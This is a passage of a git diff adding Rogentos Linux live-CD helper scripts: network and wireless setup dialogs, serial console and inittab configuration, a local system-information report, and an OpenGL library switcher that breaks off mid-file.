+				${iwconfig} ${iface} essid "${SSID}"
+				${iwconfig} ${iface} key off
+			;;
+		esac
+	fi
+}
+
+livecd_write_wireless_conf() {
+	cd /tmp/setup.opts
+	SSID=$(tail -n 1 ${iface}.SSID)
+	if [ -n "${SSID}" ]
+	then
+		echo "" >> /etc/conf.d/net
+		echo "# This wireless configuration file was built by net-setup" > /etc/conf.d/net
+		WEP=$(tail -n 1 ${iface}.WEPTYPE)
+		case ${WEP} in
+			1)
+				WEP_TYPE=$(tail -n 1 ${iface}.WEPTYPE)
+				if [ -n "${WEP_TYPE}" ]
+				then
+					WEP_KEY=$(tail -n 1 ${iface}.WEPKEY)
+					if [ -n "${WEP_KEY}" ]
+					then
+						SSID_TRANS=$(echo ${SSID//[![:word:]]/_})
+						case ${WEP_TYPE} in
+							1)
+								echo "key_${SSID_TRANS}=\"${WEP_KEY} enc open\"" >> /etc/conf.d/net
+							;;
+							2)
+								echo "key_${SSID_TRANS}=\"s:${WEP_KEY} enc open\"" >> /etc/conf.d/net
+							;;
+						esac
+					fi
+				fi
+			;;
+			2)
+				:
+			;;
+		esac
+		echo "preferred_aps=( \"${SSID}\" )" >> /etc/conf.d/net
+		echo "associate_order=\"forcepreferredonly\"" >> /etc/conf.d/net
+	fi
+}
+
+livecd_config_ip() {
+	cd /tmp/setup.opts
+	dialog --title "TCP/IP setup" --menu "You can use DHCP to automatically configure a network interface or you can specify an IP and related settings manually. Choose one option:" 20 60 7 1 "Use DHCP to auto-detect my network settings" 2 "Specify an IP address manually" 2> ${iface}.DHCP
+	DHCP=$(tail -n 1 ${iface}.DHCP)
+	case ${DHCP} in
+		1)
+			/sbin/dhclient -q -r -nw ${iface} &
+		;;
+		2)
+			dialog --title "IP address" --inputbox "Please enter an IP address for ${iface}:" 20 50 "192.168.1.1" 2> ${iface}.IP
+			IP=$(tail -n 1 ${iface}.IP)
+			BC_TEMP=$(echo $IP|cut -d . -f 1).$(echo $IP|cut -d . -f 2).$(echo $IP|cut -d . -f 3).255
+			dialog --title "Broadcast address" --inputbox "Please enter a Broadcast address for ${iface}:" 20 50 "${BC_TEMP}" 2> ${iface}.BC
+			BROADCAST=$(tail -n 1 ${iface}.BC)
+			dialog --title "Network mask" --inputbox "Please enter a Network Mask for ${iface}:" 20 50 "255.255.255.0" 2> ${iface}.NM
+			NETMASK=$(tail -n 1 ${iface}.NM)
+			dialog --title "Gateway" --inputbox "Please enter a Gateway for ${iface} (hit enter for none:)" 20 50 2> ${iface}.GW
+			GATEWAY=$(tail -n 1 ${iface}.GW)
+			dialog --title "DNS server" --inputbox "Please enter a name server to use (hit enter for none:)" 20 50 2> ${iface}.DNS
+			DNS=$(tail -n 1 ${iface}.DNS)
+			/sbin/ifconfig ${iface} ${IP} broadcast ${BROADCAST} netmask ${NETMASK}
+			if [ -n "${GATEWAY}" ]
+			then
+				/sbin/route add default gw ${GATEWAY} dev ${iface} netmask 0.0.0.0 metric 1
+			fi
+			if [ -n "${DNS}" ]
+			then
+				dialog --title "DNS Search Suffix" --inputbox "Please enter any domains which you would like to search on DNS queries (hit enter for none:)" 20 50 2> ${iface}.SUFFIX
+				SUFFIX=$(tail -n 1 ${iface}.SUFFIX)
+				echo "nameserver ${DNS}" > /etc/resolv.conf
+				if [ -n "${SUFFIX}" ]
+				then
+					echo "search ${SUFFIX}" >> /etc/resolv.conf
+				fi
+			fi
+		;;
+	esac
+}
+
+livecd_write_net_conf() {
+	cd /tmp/setup.opts
+	echo "# Rogentos Linux static network configuration tool" > /etc/conf.d/net
+	DHCP=$(tail -n 1 ${iface}.DHCP)
+	case ${DHCP} in
+		1)
+			echo "config_${iface}=\"dhcp\"" >> /etc/conf.d/net
+			echo "dhcp_${iface}=\"nosendhost\"" >> /etc/conf.d/net
+		;;
+		2)
+			IP=$(tail -n 1 ${iface}.IP)
+			BROADCAST=$(tail -n 1 ${iface}.BC)
+			NETMASK=$(tail -n 1 ${iface}.NM)
+			GATEWAY=$(tail -n 1 ${iface}.GW)
+			DNS="$(tail -n 1 ${iface}.DNS)"
+			DOMAIN="$(tail -n 1 ${iface}.SUFFIX)"
+			if [ -n "${IP}" -a -n "${BROADCAST}" -a -n "${NETMASK}" ]
+			then
+				echo "config_${iface}=\"${IP} netmask ${NETMASK} broadcast ${BROADCAST}\"" >> /etc/conf.d/net
+				if [ -n "${GATEWAY}" ]
+				then
+					echo "routes_${iface}=\"default via ${GATEWAY}\"" >> /etc/conf.d/net
+				fi
+				if [ -n "${DNS}" ]
+				then
+					echo "dns_servers_${iface}=\"${DNS}\"" >> /etc/conf.d/net
+				fi
+				if [ -n "${DOMAIN}" ]
+				then
+					echo "dns_search_${iface}=\"${DOMAIN}\"" >> /etc/conf.d/net
+				fi
+			fi
+		;;
+	esac
+}
+
+get_ifmac() {
+	local iface=$1
+
+	# Example: 00:01:6f:e1:7a:06
+	cat /sys/class/net/${iface}/address
+}
+
+
+get_ifdriver() {
+	local iface=$1
+
+	# Example: ../../../bus/pci/drivers/forcedeth (wanted: forcedeth)
+	local if_driver=$(readlink /sys/class/net/${iface}/device/driver)
+	basename ${if_driver}
+}
+
+get_ifbus() {
+	local iface=$1
+
+	# Example: ../../../bus/pci (wanted: pci)
+	# Example: ../../../../bus/pci (wanted: pci)
+	# Example: ../../../../../../bus/usb (wanted: usb)
+	local if_bus=$(readlink /sys/class/net/${iface}/device/bus)
+	basename ${if_bus}
+}
+
+livecd_rev_string() {
+	# /usr might not be mounted
+	local copy=${1}
+	len=${#copy}
+	for((i=$len-1;i>=0;i--)); do rev="$rev${copy:$i:1}"; done
+	echo ${rev}
+}
+
+get_ifproduct() {
+	local iface=$1
+	local bus=$(get_ifbus ${iface})
+	local if_pciaddr
+	local if_devname
+	local if_usbpath
+	local if_usbmanufacturer
+	local if_usbproduct
+
+	if [[ ${bus} == "pci" ]]
+	then
+		# Example: ../../../devices/pci0000:00/0000:00:0a.0 (wanted: 0000:00:0a.0)
+		# Example: ../../../devices/pci0000:00/0000:00:09.0/0000:01:07.0 (wanted: 0000:01:07.0)
+		if_pciaddr=$(readlink /sys/class/net/${iface}/device)
+		if_pciaddr=$(basename ${if_pciaddr})
+
+		# Example: 00:0a.0 Bridge: nVidia Corporation CK804 Ethernet Controller (rev a3)
+		#  (wanted: nVidia Corporation CK804 Ethernet Controller)
+		if_devname=$(lspci -s ${if_pciaddr})
+		if_devname=${if_devname#*: }
+		if_devname=${if_devname%(rev *)}
+	fi
+
+	if [[ ${bus} == "usb" ]]
+	then
+		if_usbpath=$(readlink /sys/class/net/${iface}/device)
+		if_usbpath=/sys/class/net/${iface}/$(dirname ${if_usbpath})
+		if_usbmanufacturer=$(< ${if_usbpath}/manufacturer)
+		if_usbproduct=$(< ${if_usbpath}/product)
+
+		[[ -n ${if_usbmanufacturer} ]] && if_devname="${if_usbmanufacturer} "
+		[[ -n ${if_usbproduct} ]] && if_devname="${if_devname}${if_usbproduct}"
+	fi
+
+	if [[ ${bus} == "ieee1394" ]]
+	then
+		if_devname="IEEE1394 (FireWire) Network Adapter";
+	fi
+
+	echo ${if_devname}
+}
+
+get_ifdesc() {
+	local iface=$1
+	desc=$(get_ifproduct ${iface})
+	if [[ -n ${desc} ]]
+	then
+		echo $desc
+		return;
+	fi
+
+	desc=$(get_ifdriver ${iface})
+	if [[ -n ${desc} ]]
+	then
+		echo $desc
+		return;
+	fi
+
+	desc=$(get_ifmac ${iface})
+	if [[ -n ${desc} ]]
+	then
+		echo $desc
+		return;
+	fi
+
+	echo "Unknown"
+}
+
+show_ifmenu() {
+	local old_ifs="${IFS}"
+	local opts
+	IFS=""
+	for ifname in $(/sbin/ifconfig -a | grep "^[^ ]"); do
+		ifname="${ifname%% *}"
+		[[ ${ifname} == "lo" ]] && continue
+		opts="${opts} '${ifname}' '$(get_ifdesc ${ifname})'"
+	done
+	IFS="${old_ifs}"
+
+	eval dialog --menu \"Please select the interface that you wish to configure from the list below:\" 0 0 0 $opts 2>iface
+	[[ "$?" == "1" ]] && exit
+
+	iface=$(< iface)
+}
+
+show_ifconfirm() {
+	local iface=$1
+	local if_mac=$(get_ifmac ${iface})
+	local if_driver=$(get_ifdriver ${iface})
+	local if_bus=$(get_ifbus ${iface})
+	local if_product=$(get_ifproduct ${iface})
+
+	local text="Details for network interface ${iface} are shown below.\n\nInterface name: ${iface}\n"
+	[[ -n ${if_product} ]] && text="${text}Device: ${if_product}\n"
+	[[ -n ${if_mac} ]] && text="${text}MAC address: ${if_mac}\n"
+	[[ -n ${if_driver} ]] && text="${text}Driver: ${if_driver}\n"
+	[[ -n ${if_bus} ]] && text="${text}Bus type: ${if_bus}\n"
+	text="${text}\nIs this the interface that you wish to configure?"
+
+	if ! dialog --title "Interface details" --yesno "${text}" 15 70
+	then
+		result="no"
+	else
+		result="yes"
+	fi
+}
+
+livecd_console_settings() {
+	# scan for a valid baud rate
+	case "$1" in
+		300*)
+			LIVECD_CONSOLE_BAUD=300
+		;;
+		600*)
+			LIVECD_CONSOLE_BAUD=600
+		;;
+		1200*)
+			LIVECD_CONSOLE_BAUD=1200
+		;;
+		2400*)
+			LIVECD_CONSOLE_BAUD=2400
+		;;
+		4800*)
+			LIVECD_CONSOLE_BAUD=4800
+		;;
+		9600*)
+			LIVECD_CONSOLE_BAUD=9600
+		;;
+		14400*)
+			LIVECD_CONSOLE_BAUD=14400
+		;;
+		19200*)
+			LIVECD_CONSOLE_BAUD=19200
+		;;
+		28800*)
+			LIVECD_CONSOLE_BAUD=28800
+		;;
+		38400*)
+			LIVECD_CONSOLE_BAUD=38400
+		;;
+		57600*)
+			LIVECD_CONSOLE_BAUD=57600
+		;;
+		115200*)
+			LIVECD_CONSOLE_BAUD=115200
+		;;
+	esac
+	if [ "${LIVECD_CONSOLE_BAUD}" = "" ]
+	then
+		# If it's a virtual console, set baud to 38400, if it's a serial
+		# console, set it to 9600 (by default anyhow)
+		case ${LIVECD_CONSOLE} in 
+			tty[0-9])
+				LIVECD_CONSOLE_BAUD=38400
+			;;
+			*)
+				LIVECD_CONSOLE_BAUD=9600
+			;;
+		esac
+	fi
+	export LIVECD_CONSOLE_BAUD
+
+	# scan for a valid parity
+	# If the second to last byte is a [n,e,o] set parity
+	local parity
+	parity=$(livecd_rev_string $1 | cut -b 2-2)
+	case "$parity" in
+		[neo])
+			LIVECD_CONSOLE_PARITY=$parity
+		;;
+	esac
+	export LIVECD_CONSOLE_PARITY	
+
+	# scan for databits
+	# Only set databits if second to last character is parity
+	if [ "${LIVECD_CONSOLE_PARITY}" != "" ]
+	then
+		LIVECD_CONSOLE_DATABITS=$(livecd_rev_string $1 | cut -b 1)
+	fi
+	export LIVECD_CONSOLE_DATABITS
+	return 0
+}
+
+livecd_read_commandline() {
+	livecd_get_cmdline || return 1
+
+	for x in ${CMDLINE}
+	do
+		case "${x}" in
+			cdroot)
+				CDBOOT="yes"
+				RC_NO_UMOUNTS="^(/|/dev|/dev/pts|/lib/rcscripts/init.d|/proc|/proc/.*|/sys|/mnt/livecd|/newroot)$"
+				export CDBOOT RC_NO_UMOUNTS
+			;;
+			cdroot\=*)
+				CDBOOT="yes"
+				RC_NO_UMOUNTS="^(/|/dev|/dev/pts|/lib/rcscripts/init.d|/proc|/proc/.*|/sys|/mnt/livecd|/newroot)$"
+				export CDBOOT RC_NO_UMOUNTS
+			;;
+			console\=*)
+				local live_console
+				live_console=$(livecd_parse_opt "${x}")
+
+				# Parse the console line. No options specified if
+				# no comma
+				LIVECD_CONSOLE=$(echo ${live_console} | cut -f1 -d,)
+				if [ "${LIVECD_CONSOLE}" = "" ]
+				then
+					# no options specified
+					LIVECD_CONSOLE=${live_console}
+				else
+					# there are options, we need to parse them
+					local livecd_console_opts
+					livecd_console_opts=$(echo ${live_console} | cut -f2 -d,)
+					livecd_console_settings  ${livecd_console_opts}
+				fi
+				export LIVECD_CONSOLE
+			;;
+		esac
+	done
+	return 0
+}
+
+livecd_fix_inittab() {
+	if [ "${CDBOOT}" = "" ]
+	then
+		return 1
+	fi
+
+	# Create a backup
+	cp -f /etc/inittab /etc/inittab.old
+
+	# Comment out current getty settings
+	sed -i -e '/^c[0-9]/ s/^/#/' /etc/inittab
+	sed -i -e '/^s[01]/ s/^/#/' /etc/inittab
+
+	# SPARC & HPPA console magic
+	if [ "${HOSTTYPE}" = "sparc" -o "${HOSTTYPE}" = "hppa" -o "${HOSTTYPE}" = "ppc64" ]
+	then
+		# Mount openprom tree for user debugging purposes
+		if [ "${HOSTTYPE}" = "sparc" ]
+		then
+			mount -t openpromfs none /proc/openprom
+		fi
+
+		# SPARC serial port A, HPPA mux / serial
+		if [ -c "/dev/ttyS0" ]
+		then
+			LIVECD_CONSOLE_BAUD=$(stty -F /dev/ttyS0 speed)
+			echo "s0:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${LIVECD_CONSOLE_BAUD} ttyS0 vt100" >> /etc/inittab
+		fi
+		# HPPA software PDC console (K-models)
+		if [ "${LIVECD_CONSOLE}" = "ttyB0" ]
+		then
+			mknod /dev/ttyB0 c 11 0
+			LIVECD_CONSOLE_BAUD=$(stty -F /dev/ttyB0 speed)
+			echo "b0:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${LIVECD_CONSOLE_BAUD} ttyB0 vt100" >> /etc/inittab
+		fi
+		# FB / STI console
+		if [ -c "/dev/vc/1" -o -c "/dev/tts/1" -o -c "/dev/tty2" ]
+		then
+			MODEL_NAME=$(cat /proc/cpuinfo |grep "model name"|sed 's/.*: //')
+			if [ "${MODEL_NAME}" = "UML" ]
+			then
+			    for x in 0 1 2 3 4 5 6
+			    do
+				    echo "c${x}:12345:respawn:/sbin/mingetty --noclear --autologin root tty${x}" >> /etc/inittab
+			    done
+			else
+			    for x in 1 2 3 4 5 6
+			    do
+				    echo "c${x}:12345:respawn:/sbin/mingetty --noclear --autologin root tty${x}" >> /etc/inittab
+			    done
+			fi
+		fi
+		if [ -c "/dev/hvc0" ]
+		then
+			einfo "Adding hvc console to inittab"
+			echo "s0:12345:respawn:/sbin/agetty -nl /bin/bashlogin 9600 hvc0 vt320" >> /etc/inittab
+		fi
+
+
+	# The rest...
+	else
+		for x in 1 2 3 4 5 6
+		do
+			echo "c${x}:12345:respawn:/sbin/agetty -nl /bin/bashlogin 38400 tty${x} linux" >> /etc/inittab
+		done
+	fi
+
+	# EFI-based machines should automatically hook up their console lines
+	if dmesg | grep -q '^Adding console on'
+	then
+		dmesg | grep '^Adding console on' | while read x; do
+			line=`echo "$x" | cut -d' ' -f4`
+			id=e`echo "$line" | grep -o '.\{1,3\}$'`
+			[ "${line}" = "${LIVECD_CONSOLE}" ] && continue  # already setup above
+			case "$x" in
+				*options\ \'[0-9]*) speed=`echo "$x" | sed "s/.*options '//; s/[^0-9].*//"` ;;
+				*) speed=9600 ;;  # choose a default, only matters if it is serial
+			esac
+			echo "$id:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${speed} ${line} vt100" >> /etc/inittab
+		done
+	fi
+
+	# force reread of inittab
+	kill -HUP 1
+	return 0
+}
diff --git a/app-misc/rogentoslive-tools/files/1.0/livespawn b/app-misc/rogentoslive-tools/files/1.0/livespawn
new file mode 100644
index 00000000..44d7257e
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/livespawn
@@ -0,0 +1,10 @@
+#!/usr/bin/python
+import sys, os, subprocess
+args = sys.argv[1:]
+if not args: raise SystemExit(1)
+
+pid = os.fork()
+if pid == 0:
+	p = subprocess.Popen(args)
+	rc = p.wait()
+	raise SystemExit(rc)
diff --git a/app-misc/rogentoslive-tools/files/1.0/logscript.sh b/app-misc/rogentoslive-tools/files/1.0/logscript.sh
new file mode 100755
index 00000000..4fb06d6b
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/logscript.sh
@@ -0,0 +1,111 @@
+#!/bin/sh
+#requires the following
+# free, hostname, grep, cut, awk, uname
+
+HOSTNAME=`hostname -s`
+IP_ADDRS=`ifconfig | grep 'inet addr' | grep -v '255.0.0.0' | cut -f2 -d':' | awk '{print $1}'`
+IP_ADDRS=`echo $IP_ADDRS | sed 's/\n//g'`
+
+#memory
+MEMORY=`free | grep Mem | awk '{print $2}'`
+
+#cpu info
+CPUS=`cat /proc/cpuinfo | grep processor | wc -l | awk '{print $1}'`
+CPU_MHZ=`cat /proc/cpuinfo | grep MHz | tail -n1 | awk '{print $4}'`
+CPU_TYPE=`cat /proc/cpuinfo | grep vendor_id | tail -n 1 | awk '{print $3}'`
+CPU_TYPE2=`uname -m`
+CPU_TYPE3=`uname -p`
+
+OS_NAME=`uname -s`
+OS_OS=`uname -o`
+OS_KERNEL=`uname -r`
+OS_RELEASE=`cat /etc/rogentos-edition`
+OS_EDITION=`cat /etc/rogentos-edition`
+ESELECT_KERNEL=`eselect --no-color kernel list`
+ESELECT_OPENGL=`eselect --no-color opengl list`
+ESELECT_JAVA=`eselect --no-color java-vm list`
+ESELECT_JAVAP=`eselect --no-color java-nsplugin list`
+
+EQUO=`equo --version`
+PORTAGE=`emerge --version`
+
+UPTIME=`uptime`
+MEM=`free -t -m`
+SPACE=`df -TH`
+
+PCIINFO=`lspci | cut -f3 -d':'`
+#Another way to do it
+#PCIINFO=`lspci | cut -f3 -d':'`
+
+LSUSB=`lsusb`
+LSMOD=`lsmod`
+#print it out
+echo "$HOSTNAME"
+echo "--------------------------------------------------------------------"
+echo "Hostname         : $HOSTNAME"
+echo "Host Address     : $IP_ADDRS"
+echo "Main Memory      : $MEMORY"
+echo "Number of CPUs   : $CPUS"
+echo "CPU Type         : $CPU_TYPE2 $CPU_TYPE3 $CPU_MHZ MHz"
+echo "OS Release       : $OS_RELEASE"
+echo "OS Edition       : $OS_EDITION"
+echo "Kernel Name      : $OS_NAME $OS_OS"
+echo "Kernel Version   : $OS_KERNEL"
+echo "Uptime           : $UPTIME"
+echo "--------------------------------------------------------------------"
+echo
+echo "Entropy Version"
+echo "$EQUO"
+echo
+echo "Portage Version"
+echo "$PORTAGE"
+echo "--------------------------------------------------------------------"
+echo
+echo "Kernel List"
+echo "$ESELECT_KERNEL"
+echo "Your Kernel Should Be Set To:"
+echo "$OS_KERNEL"
+echo "Use eselect kernel set #"
+echo "--------------------------------------------------------------------"
+echo
+echo "OpenGL List"
+echo "$ESELECT_OPENGL"
+echo "The above should be set to your video card, see lspci"
+echo "Use eselect opengl set #"
+echo "--------------------------------------------------------------------"
+echo
+echo "Java VM List"
+echo "$ESELECT_JAVA"
+echo "Use java-config --set-system-vm #"
+echo "--------------------------------------------------------------------"
+echo
+echo "Java-nsplugin List"
+echo "$ESELECT_JAVAP"
+echo "Use eselect java-nsplugin set #"
+echo "--------------------------------------------------------------------"
+echo
+echo "Devices - lspci"
+echo "--------------------------------------------------------------------"
+echo "$PCIINFO"
+echo "--------------------------------------------------------------------"
+echo
+echo "Devices - lsmod"
+echo "--------------------------------------------------------------------"
+echo "$LSMOD"
+echo "--------------------------------------------------------------------"
+echo
+echo "Devices - lsusb"
+echo "--------------------------------------------------------------------"
+echo "$LSUSB"
+echo "--------------------------------------------------------------------"
+echo
+echo "Memory"
+echo "--------------------------------------------------------------------"
+echo "$MEM"
+echo "--------------------------------------------------------------------"
+echo
+echo "Disk Space"
+echo "--------------------------------------------------------------------"
+echo "$SPACE"
+echo "--------------------------------------------------------------------"
+echo
diff --git a/app-misc/rogentoslive-tools/files/1.0/net-setup b/app-misc/rogentoslive-tools/files/1.0/net-setup
new file mode 100755
index 00000000..e84de48b
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/net-setup
@@ -0,0 +1,65 @@
+#!/bin/bash
+# Copyright 1999-2005 Gentoo Foundation
+# Copyright 2006-2008 Fabio Erculiani
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo/src/livecd-tools/net-setup,v 1.19 2006/05/30 20:20:11 wolf31o2 Exp $
+
+if [ -f /sbin/livecd-functions.sh ]
+then
+	source /sbin/livecd-functions.sh
+else
+	echo "ERROR: /sbin/livecd-functions.sh could not be loaded!"
+	exit 1
+fi
+
+if [ ! -x $(which dialog) ]
+then
+	echo "ERROR: The dialog utility is required for net-setup.  Exiting!"
+	exit 1
+fi
+
+livecd_check_root || exit 1
+
+# Hide any potential error messages from the readlink/dirname/etc calls below
+exec 2>/dev/null
+
+if [ -z "${1}" ]
+then
+	show_ifmenu
+	echo $iface
+else
+	iface="${1}"
+fi
+
+[ ! -d /tmp/setup.opts ] && mkdir /tmp/setup.opts
+cd /tmp/setup.opts
+
+while true; do
+	show_ifconfirm $iface
+	[[ $result == "yes" ]] && break
+	show_ifmenu
+done
+
+# Show stderr again
+exec 2>/dev/stderr
+
+dialog --title "Network setup" --menu "This script is designed to setup both wired and wireless network settings.  All questions below apply to the ${iface} interface only.  Choose one option:" 20 60 7 1 "My network is wireless" 2 "My network is wired" 2> ${iface}.WIRED_WIRELESS
+WIRED_WIRELESS=$(tail -n 1 ${iface}.WIRED_WIRELESS)
+case ${WIRED_WIRELESS} in
+	1)
+		livecd_config_wireless
+		livecd_config_ip
+		livecd_write_wireless_conf
+		;;
+	2)
+		livecd_config_ip
+		;;
+	*)
+		exit 0
+		;;
+esac
+livecd_write_net_conf
+
+echo "Type \"ifconfig\" to make sure the interface was configured correctly."
+
+# vim: ts=4
diff --git a/app-misc/rogentoslive-tools/files/1.0/opengl-activator b/app-misc/rogentoslive-tools/files/1.0/opengl-activator
new file mode 100755
index 00000000..387dd10f
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/opengl-activator
@@ -0,0 +1,318 @@
+#!/bin/sh
+# Forked from eselect opengl Gentoo module - this is reaaaaaaaaaally faster
+# this is used only at Live time, to avoid the use of Portage
+# Copyright 2006-2008 Fabio Erculiani
+
+# Our data
+ENV_FILE="/etc/env.d/03opengl"
+PREFIX="/usr"
+DST_PREFIX="/usr"
+USE_PROFILE_HEADERS="no"
+ES_VALID_MULTILIB_DIRS="lib lib32 lib64"
+
+# list_libdirs PUBLIC
+# Returns a space separated list of libdirs available on this machine
+list_libdirs() {
+    local dir libdirs
+    libdirs=""
+    for dir in ${ES_VALID_MULTILIB_DIRS} ; do
+        if grep -q "^/${dir}\(\|/\)$" /etc/ld.so.conf &> /dev/null ; then
+            libdirs=( ${libdirs[@]} ${dir} )
+        fi
+    done
+    if [[ -z ${libdirs[@]} ]] ; then
+    	# Broken or non-existing ld.so.conf
+    	libdirs=( /lib* )
+	libdirs=( ${libdirs[@]/\/lib/lib} )
+    fi
+    echo "${libdirs[@]}"
+}
+
+# has test list
+# Return true if list contains test
+has() {
+    local test=${1} item
+    shift
+    for item in $@ ; do
+        [[ ${item} == ${test} ]] && return 0
+    done
+    return 1
+}
+
+# is_function function PUBLIC
+# Test whether function exists
+is_function() {
+    [[ $(type -t "${1}" ) == "function" ]]
+}
+
+# is_number PUBLIC
+# Returns true if and only if $1 is a positive whole number
+is_number() {
+    [[ -n ${1} ]] && [[ -z ${1//[[:digit:]]} ]]
+}
+
+get_current_implementation() {
+	local ret
+	local ldpath=$(cat ${ENV_FILE} | grep LDPATH | cut -d'"' -f 2)
+	
+	local opengl_profile=$(cat ${ENV_FILE} | grep OPENGL_PROFILE | cut -d'"' -f 2)
+        
+	if [[ -n ${opengl_profile} ]] ; then
+		ret="${opengl_profile}"
+	elif [[ -n ${ldpath} ]] ; then
+		ret="${ldpath%%:*}"
+		ret="${ret##*opengl/}"
+		ret="${ret%/lib*}"
+	fi
+
+	echo ${ret}
+}
+
+get_implementations() {
+	local ret dir
+	for x in $(list_libdirs) ; do
+		for dir in "${PREFIX}/${x}"/opengl/* ; do
+			[[ -d ${dir} && $(basename "${dir}") != "global" ]] || continue
+			has $(basename "${dir}") ${ret} && continue
+			ret=${ret:+${ret} }$(basename "${dir}")
+		done
+	done
+
+	echo ${ret}
+}
+
+setup_lib_symlinks() {
+	local profile_libdir=${1}
+	local libdir=${2}
+	local file
+	local rootfile
+
+	mkdir -p "${libdir}" || echo "Failed to create ${libdir}"
+
+	pushd "${libdir}" &> /dev/null
+		# First remove old symlinks
+		for file in libGL{,core}.{a,so,la} ; do
+			rm -f "${file}" || echo -q "Failed to delete ${file}"
+		done
+
+		# Note that we don't do .so*, just .so on purpose.  The
+		# loader knows to look in the profile dir, and the
+		# linked just needs the .so
+		for file in ${profile_libdir}/libGL{,core}.{so,a,la}; do
+			rootfile="${file}"
+			[[ -f ${file} ]] || continue
+			if [[ -f $(basename "${file}") ]] ; then
+				rm -f "$(basename "${file}")" || echo -q "Failed to delete ${libdir}/$(basename "${file}")"
+			fi
+
+			# Fix libtool archives (#48297)
+			if [[ ${file%.la} != ${file} ]] ; then
+				sed "s:${profile_libdir}:${libdir}:g" "${file}" > "$(basename "${file}")" || echo "Failed to create ${libdir}/$(basename "${file}")"
+			else
+				ln -s "${rootfile}" || echo "Failed to create ${libdir}/$(basename "${file}")"
+			fi
+		done
+	popd &> /dev/null
+}
+
+set_new_implementation() {
+	local gl_implem=${1}
+	local avail_implems=$(get_implementations)
+
+	# Set a sane umask... bug #83115
+	umask 022
+
+	if ! has ${gl_implem} ${avail_implems}; then
+		echo "Invalid profile selected."
+		exit 1
+	fi
+
+	echo -n "Switching to ${gl_implem} OpenGL interface..."
+
+		local libdir
+		for libdir in $(list_libdirs); do
+			[[ ${ROOT} != / ]] && libdir=${libdir//${ROOT}}
+
+			# First make sure we have an opengl directory and this is a real lib dir, not a symlink
+			[[ -d ${PREFIX}/${libdir}/opengl && ! -h ${PREFIX}/${libdir} ]] || continue
+
+			# Fallback on xorg-x11 if we don't have this implementation for this libdir.
+			local gl_local
+			if [[ ! -d ${PREFIX}/${libdir}/opengl/"${gl_implem}" ]] ; then
+				gl_local="xorg-x11"
+			else
+				gl_local="${gl_implem}"
+			fi
+
+			setup_lib_symlinks "${PREFIX}/${libdir}/opengl/${gl_local}/lib" "${DST_PREFIX}/${libdir}"
+		
+			if [[ -e ${PREFIX}/${libdir}/opengl/${gl_local}/lib/tls ]] ; then
+				setup_lib_symlinks "${PREFIX}/${libdir}/opengl/${gl_local}/lib/tls" "${DST_PREFIX}/${libdir}/tls"
+			fi
+
+			local moduledir
+			if [[ -e ${DST_PREFIX}/${libdir}/xorg/modules ]] ; then
+				moduledir="xorg/modules"
+			else
+				moduledir="modules"
+			fi
+
+			if [[ -e ${PREFIX}/${libdir}/opengl/${gl_local}/extensions ]] ; then
+				mkdir -p "${DST_PREFIX}/${libdir}/${moduledir}/extensions" || echo "Failed to create ${DST_PREFIX}/${libdir}/${moduledir}/extensions"
+				pushd "${DST_PREFIX}/${libdir}/${moduledir}/extensions" &> /dev/null
+					# First remove old symlinks
+					for file in lib{wfb,glx,dri,dri2}.{a,so,la}; do
+						rm -f "${file}" || echo "Failed to delete ${DST_PREFIX}/${libdir}/${moduledir}/extensions/${file}"
+					done
+
+					for file in ${PREFIX}/${libdir}/opengl/${gl_local}/extensions/*.{so,a,la}; do
+						[[ -f ${file} ]] || continue
+						if [[ -f $(basename "${file}") ]] ; then
+							rm -f "$(basename "${file}")" || echo "Failed to delete ${DST_PREFIX}/${libdir}/${moduledir}/extensions/$(basename "${file}")"
+						fi
+
+						# Fix libtool archives (#48297)
+						if [[ ${file%.la} != ${file} ]] ; then
+							sed "s:${PREFIX}/[^/]*/opengl/[^/]*/lib:${DST_PREFIX}/${libdir}:g" "${file}" > "$(basename "${file}")" || echo "Failed to create ${DST_PREFIX}/${libdir}/${moduledir}/extensions/$(basename "${file}")"
+						else
+							ln -s "${file}" || echo "Failed to create ${libdir}/$(basename "${file}")"
+						fi
+					done
+				popd &> /dev/null
+			fi
+
+			# Setup the includes
+			mkdir -p "${DST_PREFIX}/include/GL" || echo "Failed to create ${DST_PREFIX}/include/GL"
+			pushd "${DST_PREFIX}/include/GL" &> /dev/null
+				for file in gl.h glx.h glxtokens.h glext.h glxext.h glxmd.h glxproto.h; do
+					# IMPORTANT
+					# It is preferable currently to use the standard glext.h file
+					# however if an OpenGL provider must use a self produced glext.h
+					# then it should be installed to ${gl_implem}/include and the user
+					# can add the --impl-headers option to select it.
+
+					if [[ "${USE_PROFILE_HEADERS}" == "yes" ]] ; then
+						# Check the profile first.
+						if [[ -e ${PREFIX}/${libdir}/opengl/${gl_implem}/include/${file} ]] ; then
+							if [[ -f ${file} || ( -L ${file} && ! -e ${file} ) ]] ; then
+								rm -f "${file}" || echo "Failed to delete ${DST_PREFIX}/include/GL/$(basename "${file}")"
+							fi
+
+							ln -s ${PREFIX}/${libdir}/opengl/${gl_implem}/include/${file} || echo "Failed to create ${DST_PREFIX}/include/GL/$(basename "${file}")"
+							continue
+						fi
+					fi
+
+					if [[ -e ${PREFIX}/${libdir}/opengl/global/include/${file} ]] ; then
+						if [[ -f ${file} || ( -L ${file} && ! -e ${file} ) ]] ; then
+							rm -f "${file}" || echo "Failed to delete ${DST_PREFIX}/include/GL/$(basename "${file}")"
+						fi
+
+						ln -s ${PREFIX}/${libdir}/opengl/global/include/${file} || echo "Failed to create ${DST_PREFIX}/include/GL/$(basename "${file}")"
+					elif [[ -e ${PREFIX}/${libdir}/opengl/${gl_implem}/include/${file} ]] ; then
+						if [[ -f ${file} || ( -L ${file} && ! -e ${file} ) ]] ; then
+							rm -f "${file}" || echo "Failed to delete ${DST_PREFIX}/include/GL/$(basename "${file}")"
+						fi
+
+						ln -s ${PREFIX}/${libdir}/opengl/${gl_implem}/include/${file} || echo "Failed to create ${DST_PREFIX}/include/GL/$(basename "${file}")"
+					elif [[ -e ${PREFIX}/${libdir}/opengl/xorg-x11/include/${file} ]] ; then
+						if [[ -f ${file} || ( -L ${file} && ! -e ${file} ) ]] ; then
